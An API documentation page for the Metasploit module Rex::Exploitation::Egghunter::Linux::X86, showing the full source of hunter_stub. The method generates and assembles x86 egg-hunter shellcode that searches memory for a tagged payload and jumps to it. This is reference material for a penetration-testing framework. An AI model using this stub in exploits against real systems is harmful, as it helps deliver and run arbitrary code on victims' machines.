Module: Rex::Exploitation::Egghunter::Linux::X86

Defined in:
lib/rex/exploitation/egghunter.rb

Constant Summary collapse

Alias = 
ARCH_X86

Instance Method Summary collapse

Instance Method Details

#hunter_stub(payload, badchars = '', opts = {}) ⇒ Object

The egg hunter stub for linux/x86.

Raises:



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# File 'lib/rex/exploitation/egghunter.rb', line 112

def hunter_stub(payload, badchars = '', opts = {})

	startreg = opts[:startreg]

	raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
	marker = "0x%x" % opts[:eggtag].unpack('V').first

	checksum = checksum_stub(payload, badchars, opts)

	startstub = ''
	if startreg
		if startreg.downcase != 'ecx'
			startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
		else
			startstub = "\n\tjmp next_addr"
		end
	end
	startstub << "\n\t" if startstub.length > 0

	assembly = <<EOS
	cld
#{startstub}
check_readable:
	or cx,0xfff
next_addr:
	inc ecx
	push 0x43   ; use 'sigaction' syscall
	pop eax
	int 0x80
	cmp al,0xf2
	je check_readable

check_for_tag:
	; check that the tag matches once
	mov eax,#{marker}
	mov edi,ecx
	scasd
	jne next_addr
	; it must match a second time too
	scasd
	jne next_addr

	; check the checksum if the feature is enabled
#{checksum}

	; jump to the payload
	jmp edi
EOS

	assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

	# return the stub
	assembled_code
end